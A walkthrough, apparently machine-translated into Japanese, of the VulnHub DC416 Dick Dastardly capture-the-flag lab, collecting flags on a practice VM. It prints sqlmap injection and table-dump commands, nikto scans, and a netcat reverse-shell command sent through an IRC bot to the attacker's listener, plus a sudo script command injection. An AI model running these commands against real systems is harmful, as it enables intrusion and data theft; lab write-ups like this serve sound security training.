VulnHub:DC416 Dick Dastardly Parsing



VulnHubチームは、 DefConトロントのカンファレンスから一連のクエストを準備しました。これは、 リンクからダウンロードして試すことができます。



そしてこの記事では、 DC416 Dick Dastardly分析があります



始めましょう



Nmapは 、ポート22と80を除き、他には何も生成しなかったため、隠しディレクトリの検索に移りましょう。



$ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt -x 403
      
      









ここでindex.phpへの興味深いリダイレクトを確認します。 何があるか見てみましょう:







sqlmapを開始します



 $ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch
      
      





POSTパラメーター 'name'は脆弱です。 他の(もしあれば)をテストし続けますか? [y / N] N

sqlmapは、合計6638のHTTP要求で次の注入ポイントを識別しました。

-パラメーター:名前(POST)

タイプ:AND / OR時間ベースのブラインド

タイトル:MySQL> = 5.0.12 AND時間ベースのブラインド

ペイロード:name = asd '||(SELECT' Uknw 'FROM DUAL WHERE 1538 = 1538 AND SLEEP(5))||'&msg = asd

-[00:52:02] [情報]バックエンドDBMSはMySQLです

Webサーバーのオペレーティングシステム:Linux Ubuntu

Webアプリケーションテクノロジー:Apache 2.4.7、PHP 5.5.9

バックエンドDBMS:MySQL> = 5.0.12


インジェクションがありますが、 sqlmapはそれをほどくことができませんでした。 2番目のフォームに渡します。



 $ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables
      
      





メッセージが表示され、 sqlmapパラメーターを調整します。

[13:17:56] [情報] POSTパラメーター「issue」は「MySQL RLIKEブールベースのブラインド-WHERE、HAVING、ORDER BYまたはGROUP BY句」を注入可能(--string = "an"を使用)


再起動後、 sqlmapはインジェクションを巻き戻します。 そして、テーブルのリストを表示しました。

adminsテーブルをダンプします



 $ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --dbms=MySQL -D vulnhub --batch -T admins --dump
      
      









明確なパスワードとログインを見つけました。 ログイン:







IRCボットのWeb管理パネルに入ります。 ここで、ボットの所有者を変更できます。 データベースから抽出したユーザー名とパスワードを入力します。 次に、自然にクリックしてIPをホワイトシートに追加し、ボットをアクティブにします。



nmapを再度実行します。







実行中のIRCサーバーに接続します。挨拶をご覧ください。







チャンネルのリストを見てみましょう:



/list







そこでチャネル#vulnhubを見つけて接続します。



/join #vulnhub







XChatを使用しました。チャンネルのユーザーリストの右側に、起動したボットvulnhub-botがあります。 彼との対話を始めましょう。







フラグが見つかりましたが、これは2番目のフラグです...どこかで最初のフラグを逃しました。 niktoを実行して、最初のフラグを見つけます。



 $ sudo nikto -host http://192.168.1.68 -C all + Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}
      
      







IRCを介してシェルを使用して、本格的なコンソールを開きます。



 $ netcat -lvp 9999
      
      





ボットにコマンドを送信します。



Unix shell netcat -e /bin/sh 192.168.1.124 9999







プロセスのリストを見ると、それらの1つがrootとして実行されていることがわかりました。

ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2


うーん、これは面白いです。flag0を見つけるICMPパケットでWireSharkを実行しています:



flag0 {the_quieter_you_become_the_more_you_are_able_to_hear}



最後のものが残った。 現在のユーザーがどの特権を使用できるかを見てみましょう。



 sudo -l
      
      





DickDastardlyのrastaの一致するデフォルトエントリ:

env_reset、mail_badpass、

secure_path = / usr / local / sbin \:/ usr / local / bin \:/ usr / sbin \:/ usr / bin \:/ sbin \:/ bin



ユーザーrastaは、DickDastardlyで次のコマンドを実行できます。

(vulnhub)NOPASSWD:/ usr / bin / python /usr/local/sbin/util.py


どうやら、これはそのようなものではありません:



 sudo -u vulnhub python /usr/local/sbin/util.py
      
      





開始後、次のインタラクティブな出力が得られます。







多くの機能は利用できず、周りを見て、最後のフラグを見つけました:







より正確には、彼が横たわっている場所。 私は自分のコマンドを挿入しようとしましたが、ディレクトリ一覧を選択するときにうまくいきました:







さて、正しい順序ではありませんが、すべてのフラグが収集されます!



All Articles